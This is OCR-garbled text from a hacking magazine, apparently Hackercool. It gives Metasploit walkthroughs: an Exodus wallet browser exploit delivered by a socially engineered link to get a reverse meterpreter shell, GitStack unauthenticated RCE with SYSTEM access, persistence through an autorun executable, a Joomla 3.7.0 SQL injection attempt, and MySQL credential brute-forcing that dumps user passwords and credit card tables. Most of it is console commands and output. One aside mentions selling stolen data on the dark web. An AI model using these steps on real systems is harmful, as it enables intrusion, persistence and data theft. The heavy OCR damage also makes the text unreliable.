is randomly generated)

URIPATH / no The URI to use for this exploit (default
is random)

Exploit target:
Id Name

© PSH (Binary)

msf exploit( ) > set payload windows/meterpreter/reverse tq

[
payload => windows/meterpreter/reverse tcp
msf exploit( ) > show option
Invalid parameter "option", use "show -h" for more information
msf exploit( ) > show options

Module options (exploit/windows/browser/exodus):
Current Setting Required Description

y The local host to listen on. This must be
an address on the local machine or 0.0.0.0
SRVPORT yes The local port to listen on.
SSL no Negotiate SSL for incoming connections
ssLCert no Path to a custom SSL certificate (default




ISet the windows/meterpreter/reverse_tcp payload as shown in the image above and check it

Payload options (windows/meterpreter/reverse_tcp):
Current Setting Required Description

EXITFUNC process Exit technique (Accepted: '', seh, threa
d, process, none)
LHOST The listen address (an interface may be

specified)
LPORT The listen port

Exploit target:

Id Name

© PSH (Binary)

Set the srvhost and Ihost options to same values as shown below and execute the module u-
sing the run command.

f exploit( ) > set srvhost 192.168.41.144
srvhost => 192.168.41.144
msf exploit( ) > set lhost 192.168.41.144
lhost => 192.168.41.144
exploit( ) > run
Exploit running as background job 0.

Started reverse TCP handler on 192.168.41.144:4444
Using URL: http://192.168.41.144:80/

Server started.

exploit( ) >

[The server will start and generate a link as shown in the above image. This image need to be
sent to the victims using the vulnerable versions of Exodus wallet. This can be done using th-

@ MSN India | Breaking News, Entertainment, Latest Videos, Outlook - Windows Internet Explorer

() &) htp/no2i6ss1164804 v 4| x B P~
e itp://192.168.41 14480, Enter
# MSN India [ Breaking News, Entertainment, Latest... M v B v 0 @ v Pagev Safety~v Toolsv @~

> 8ing | Web search signin - @ e

FLY TO AUSTRALIA

 THEGREAT AUSTRALIAN
»~— ARFARE SALE 1 BACK

AUTOS  VIDEO

HEALTH FOOD

AINMENT ~ SPORTS MONEY  LIFESTYLE TRAVEL




e Social Engineering Method. When our victim clicks on the link we sent, a popup window wil
-l open asking for user's permission to allow the Exodus program to run.

@ hitp://192.168.41.144/ - W et Explorer o (@[

&I () = &) hpy/19216841.044 | R[4 X Bing P~
Favorites | i & ed Sites v 8] Web Slice Gallery v

@ http://192.168.41.144, -8~ d v Pagev Safetyv Tools~ @~

® Protected mode s currently turned off for the Internet zone. Click here to open security settings, x

Intemet Explorer =

R4 Do you want ln allow this website to open a program on
PR o compter

From: 192.168.41.144
Program: Exodus

Address: exodus://RAILN" -gpu-launcher="cmd.exe /k 4
powershell.exe -nop -w hidden - SR=new- -

V] Aways ask before opening this type of address

How [_Cancel

Alowing web content to open 2 program can be useful, but & can
poertaly ham your computer: Dot alow 8 riess You st
the source of the contert

9

@ Intemet | Protected Mode: Off a v ®100%

If our victim clicks on "Allow" button to run the program (Since the request comes from the tr-
lusted program, most users give permission right away), the payload will be delivered and we
will be getting a meterpreter session. If you are taken out of the meterpreter session as show
-n below, type command sessions -l to list all the meterpreter sessions we have. Then we ca-
n interact with a specific session using its id.

msf exploit( ) > [*] 192.168.41.129 exodus - Delivering P
EVAGEL]

[*] Sending stage (179779 bytes) to 192.168.41.129

[*] Meterpreter session 1 opened (192.168.41.144:4444 -> 192.168.41.129:49207) a
1 2018-06-24 09:07:58 -0400

msf exploit( > sessions -1

Active sessions

Name Type Information

meterpreter x86/windows WIN-F4M7A1PMAAF\admin @ WIN-F4M7A1PMAAF 19
2.168.41.144:4444 -> 192.168.41.129:49207 (192.168.41.129)

msf exploit( ) > l



ARGET : Windows (all versions) TYPE : Remote FIREWALL : ON

GitStack is a software that allows Windows users to set up their own private Git server on Wi
-ndows. It makes super easy to secure and keep your server up to date. GitStack is built on
he top of the genuine Git for Windows and is compatible with any other Git clients.
This module exploits an unauthenticated remote code execution vulnerability on GitStack
ersion 2.3.10. This is done by sending an unauthenticated REST API requests to put the ap
-plication in a vulnerable state, if needed, before sending a request to trigger the exploit. But
before the exploit finishes, the changes done to the application are undone.
Let us see how this module works.This module has been tested on Windows 7 with Fire
Fwall ON. Start Metasploit and load the module as shown below.The show options command
ishows us all the options that are required for this module to run.

> use exploit/windows/http/gitstack rce
exploit( ) > show options

ms
ms f

Module options (exploit/windows/http/gitstack rce):
Current Setting Required Description
A proxy chain of format type:host:port[,t
The target address
The target port (TCP)

false Negotiate SSL/TLS for outgoing connection

HTTP server virtual host

Exploit target:
Id Name
0 Automatic

Set the rhost option. It is our target IP address. Use check command to test if the target is v-
ulnerable or not.
Negotiate SSL/TLS for outgoing connectior

HTTP server virtual host

Exploit target:

Id Name

6  Automatic

msf exploit( ) > set rhost 192.168.41.130
rhost => 192.168.41.130

msf exploit( ) > check

[*] 192.168.41.130:80 This module does not support check.




he check command does not work for this module. No problems. Execute the module using
he run command.
msf exploit( ) > run

[*] Started reverse TCP handler on 192.168.41.144:4444

[*] Sending stage (179779 bytes) to 192.168.41.130

[*] Meterpreter session 1 opened (192.168.41.144:4444 -> 192.168.41.130:49165) a
t 2018-06-20 13:31:32 -0400

meterpreter > sysinfo

Computer WIN-BI3UK55VF6A

0s Windows 7 (Build 7600).

Architecture : x86

System Language : en_US

Domain WORKGROUP

Logged On Users 1

Meterpreter x86/windows

\meterreter > getuid

[server username: NT AUTHORITY\SYSTEM

‘meterreter S |

IAs you can see in the image above, we successfully got a meterpreter session on the target
system. Use getuid command to check the privileges we got. As expected, we have the privil

~eged SYSTEM access.

POST Persistence exe Module
[TARGET : Windows (all versions) TYPE : Remote FIREWALL : ON

|We have seen a few modules to hack Windows systems already. Now let us have a look at a
POST module of Windows. The POST modules only work when we already have a meterpre
-ter session on the target.The POST persistence_exe module uploads an executable file into
the target, installs it and makes it persistent. The show options command shows us all the o-
ptions that are required for this POST module to run.

meterpreter > background

[*] Backgrounding session 3...

msf exploit( ) > use post/windows/manage/persistence exe
msf post( ) > show options

Module options (post/windows/manage/persistence_exe):

Name Current Setting Required Description
REXENAME default.exe yes The name to call exe on remote system
REXEPATH yes The remote executable to upload and exec

ute.

SESSION 1 yes The session to run this module on.
STARTUP USER yes Startup type for the persistent payload.
(Accepted: USER, SYSTEM, SERVICE)

msf post( )
he REXENAME option is used to set the name with which the executable will be called in th

-e target system. The REXEPATH option is the path to the location as to where our executab
-le we want to upload is located. The STARTUP option specifies how to install this payload




on the target system. It can be installed either as USER or as SYSTEM or as a SERVICE. If
\we install as a USER, it will start when a user logs in. If it is installed as a SYSTEM, it will sta
-rt when system boots. Installing as SERVICE will create a new service which will start the p-
layload. Installing as SYSTEM and SERVICE requires system privileges. Since we have acqu
-ired SYSTEM privileges with some of the modules above, let us use one of the sessions to
run this module.

Locate the windows binaries in the Kali Linux as shown below. As you can see, there are
many executables. For this tutorial, we will use the radmin.exe file. Radmin.exe is the applica
rtion used for remote adminisitration of Windows machines. It has two files radmin server an-
d radmin viewer. The executable that is in Kali Linux is that of radmin viewer.

:~# locate windows-binaries
/usr/share/windows-binaries
/usr/share/doc/windows-binaries
/usr/share/doc/windows-binaries/changelog.gz
/usr/share/doc/windows-binaries/copyright
/usr/share/windows-binaries/backdoors
/usr/share/windows-binaries/enumplus
/usr/share/windows-binaries/exe2bat.exe
/usr/share/windows-binaries/fgdump
/usr/share/windows-binaries/fport
/usr/share/windows-binaries/hyperion
/usr/share/windows-binaries/klogger.exe
/usr/share/windows-binaries/mbenum

s -binaries/nbtenum
/usr/share/windows-binaries/nc.exe
/usr/share/windows-binaries/plink.exe
/usr/share/windows-binaries/radmin.exe
/usr/share/windows-binaries/vncviewer.exe
/usr/share/windows-binaries/wget.exe
/usr/share/windows-binaries/whoami.exe
/usr/share/windows-binaries/backdoors/sbd.exe
/usr/share/windows-binaries/backdoors/sbdbg.exe
/usr/share/windows-binaries/enumplus/charset-all.txt
|/usr/share/windows-binaries/enumplus/charset-digit.txt
Set the REXEPATH to the radmin.exe file as shown below. We set STARTUP as SYSTEM.
[This will start our executable when system boots. Set the session id of meterpreter (In this c-
ase, it is 3).

nsf post( REXEPATH /usr/share/windows-binar:
ies/radmin.exe

REXEPATH => /usr/share/windows-binaries/radmin.exe

nsf post( ) > set STARTUP SYSTEM

STARTUP => SYSTEM

nsf post( session 3

Execute the module using the run command. As it can be seen in the image below, the exec-
utable will be read from our system and written to the target system with the name we assign
+ed. In this case, it was left to default.exe. Since the specified the STARTUP option as SYST
~EM, it will be installed into autorun.

Once it is finished, the job is done. The executable will be installed on the target system
land will run persistently everytime the target system is turned ON.




post( ) > run

Running module against WIN-BI3UKS55VF6A
1 Reading Payload from file /usr/share/windows-binaries/radmin.exe

Persistent Script written to C:\Windows\TEMP\default.exe

Executing script C:\Windows\TEMP\default.exe

Agent executed with PID 3524

Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Ru
n\kekqwoBJPly
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run
\kekqWOBJIPly
[*] Cleanup Meterpreter RC File: /root/.msf4/logs/persistence/WIN-BI3UK55VF6A 20
180621.1302/WIN-BI3UK55VF6A 20180621.1302.rc
[*] Post module execution completed
msf post(
You can see in

Joomla 3.7.0 RCE Module
[TARGET : Joomla 3.7.0 TYPE : Remote FIREWALL : ON

Now let us see a bonus exploit. | am calling it a bonus exploit because it's not successfully w-
orking in our lab tests. That doesn't mean this module is waste of time. It may work for you d-
lepnding on situation. Joomla is one of the most popular CMS nowadays. This module exploit
s a SQL injection vulnerability in Joomla version 3.7.0. This vulnerability exists in the compo
~nent named 'com_fields' which was introduced into the core of Joomla in version 3.7.0.

This module uses SQL injection to enumerate cookies of administrative users, and hijac
-k one of their sessions. If there are no administrators logged in the remote code execution w
Hill not work. If a session hijack is possible one of the website templates is identified, payload
is added to the template as a new file and then executed.

Let's see how this module works. Start Metasploit and load the module as shown in the
image below. The "show options" command shows us all the options that are required for th-
is module to run. By default, the php/meterpreter payload is assigned to the module. So the
only option required for this module is that of RHOST, the IP address of our target web serve
.




msf > use exploit/unix/webapp/joomla comfields sqli rce
msf exploit( ) > show options

Module options (exploit/unix/webapp/joomla_comfields sqli_rce):

Name Current Setting Required Description

Proxies A proxy chain of format type:host:port[
,type:host:port][...]

RHOST The target address

RPORT 80 The target port (TCP)

SSL false Negotiate SSL/TLS for outgoing connecti
ons

TARGETURI / The base path to the Joomla application
VHOST HTTP server virtual host

Exploit target:

Id Name

© Joomla 3.7.0

et the rhost IP address and use the check command to see if the target is indeed vulnerabl-
le. Another important option we need to set is that of targeturi. This option is used to specify t-
he location where the target software is installed (Joomla in this case). So if the check comm
-and says that the target is not exploitable change the directory and test again.

msf exploit( ) > set rhost 192.168.41.139
rhost => 192.168.41.139

msf exploit( ) > check

[*] 192.168.41.139:80 The target is not exploitable.

msf exploit( ) > set targeturi /Joomla 3.7.0
targeturi => /Joomla 3.7.0

msf exploit(

[+] 192.168.41.139:80 The target is vulnerable.

msf exploit(

(Once the target is confirmed to be vulnerable, execute the module using the run command.
As you can see in the image below, the exploit failed saying that it did not find any logged in
Administrator or Super User. The exploit would have been successful if the above mentioned
users were found.

msf exploit( ) > run

[*] Started reverse TCP handler on 192.168.41.144:4444
[*] 192.168.41.139:80 - Retrieved table prefix [ PROCESSLIST ]
Exploit aborted due to failure: unknown: 192.168.41.139:80: No logged-in Adm
inistrator or Super User user found!
[*] Exploit completed, but no session was created.
msf exploit( ) > 11

Help us make this magazine more awesome.
Send your suggestions and queries to
ga@hackercool.com




ATTACKING THE MYSQL SERVICE ON PORT 3306

METASPLOITABLE TUTORIALS

The lack of vulnerable targets is one of the main problems while practising the
skill of ethical hacking. Metasploitable is one of the best and often underestimated

vulnerable OS useful to learn hacking or p g. Many of my readers hav-
e been asking me for Metasploi tutor' So we have decided to make a plete
Metasploitable hacking guide in accordance with ethical hacking process. We have pl
-anned this series k i bsolute begi s in mind.

In the last issue, we have attacked the services running on ports 1524 and 2121.
The first one gave us an ic shell and d one was a FTP server. In this iss

-ue, we will target the MySQL service running on port 3306.

After exploiting the ports 2121 and 1524, next in my Nmap scan report is the port number
3306 with the service listed as MySQL 5.0.51a-3ubuntu5. Needless to explain, this is a port
lused to access MYSQL database. A database is where data is stored. In MySQL, "My" is th-

name of the daughter of the founder of MySQL.SQL stands for Structured Query Language
.This is an open source database written in C and C++. Apart from MySQL, there are other d
atabases like Oracle, PostgreSQL, SQLite, Sybase, MongoDB etc. Since our target has
MySQL, let's concentrate on that for this issue.

he default port of MySQL is port 3306. So the first thing | did is googling for any vulnerability
present in the MySQL 5.0.51a-3ubuntu5 version. | didn't find any. Even my search in exploitd
b for exploits for this particular version proved futile. So | decided to brute force the credential
s of the MYSQL server. Although there are many password crackers, | decided to use the
MySQL password cracker in Metasploit.
Start Metasploit and search for mysgl exploits using command "mysql".We get many e-




pe command show options to view all its options as shown below.

MySQL was created by a Swedish company, MySQL AB,
founded jointly by David Axmark, Allan Larsson and Michael
Widenius. The first version of MySQL appeared on 23 May 1995.
Now MYSAQL is owned by Oracle.




‘e need a file containing usernames and a file containing passwords to run this module. Thi
s file is technically termed a dictionary (We have seen this in password cracking with Hydra
earlier). Although Kali has many dictionaries, | decided to use the same file we used earlier.

he file we created after enumeration of our target. | assign this file as both user_file and als-
o pass_file. Since we have seen that most of the users in this file were using username as p-
assword also, | set the user_as_pass option to True. | also set the module to check for blank
passwords. Then | set the target IP address.
TH DS




fter setting all the required options, | executed the module using "run" command. After som-
e time, | got one positive result as highlighted below. The result came for user "root". But it is
not showing any password.

not using any password or in other words,
he username "root " has blank password. Let's check it out by making a connection request
o our target. We can connect to a remote MySQL server from the command line of a Linux
machine. So | opened the terminal and tried to make a connection as shown below.




he "u" option is for username to login with. In this case, this is "root". The "p" option is for pa
ssword. Since our target is not using any password (it is assumed), | have left it blank.The 'h
option is to specify the IP address of our target. Once | gave the options and hit on "Enter", it
prompted me for a password as shown in the image above. | just hit on "Enter” and voila | ha
ve a MySQL session as shown below.

Enter password

Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 902

Server version: 5.0.5la-3ubuntu5 (Ubuntu)

Copyright (c) 2000, 2016, Oracle, MariaDB Corporation Ab and others.

Type "help;' or '\h' for help. Type '\c' to clear the current input statement.

As we have access to the MySQL session of our target it's time to explore. There are many
MySQL commands that can be found easily on Google. Here, | am gonna show only some re
levant commands. First,| want to check as how many databases are present on this system.
ISo | typed show databases; command to see this. There are six databases in total excluding
information_schema.

|
+
chema |
|
I
|
|
|
|
"

7 rows in set (0.00 sec)

MySQL one il
Information schema (information_schema) in MySQL is a set of
read-only views which provides information about all of the
tables, views, columns, and procedures present
in a database.




databases present, fikiwiki seemed interesfing to me. Tmoved into the database fiki
wiki using the use command. TikiWiki is a free and open source Wiki-based content manage
ment system. Next | typed command show tables; to view the tables in this database,

Database changed
MySQL [tikiwiki]>

bles in tikiwiki

rows in

SQ tikiwiki
here were lot of tables in this datavbase. The above image shows a truncated view of the ta
bles present. Of all the tables, tables "tiki_users" and "users_users" appeared interesting to
me . By interesting, | mean containing juicy data belonging to users or customers like login u-
ernames, passwords and other information which might be pretty useful to me some future
hacks or for selling on some dark web.




'SQL shows the structure of the tables. | used describe users_users; command to view the
tructure of the table users_users and the result can be seen in the image below.

MMMmMmmmo

mmm

As you can see in the "Field" column above, it consists of some juicy information like userid,

email, login and password etc. OK,; it's time to view the contents of the table "users_users".
he command select * from users_users; displays all the fields of the table users_users. The
llogin username is "admin” and the password is "admin".

he table tiki_users gave me an empty set. So | decided to check out another database nam
ed owasp10. The tables "accounts" and "credit_cards" looked interesting.




€ "accounts" table consisted of usernames, passwords and
users are administrators and the "credit_cards" table contained credit card numbers.

A mmmmmm
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l6 rows in set (0.05 sec)
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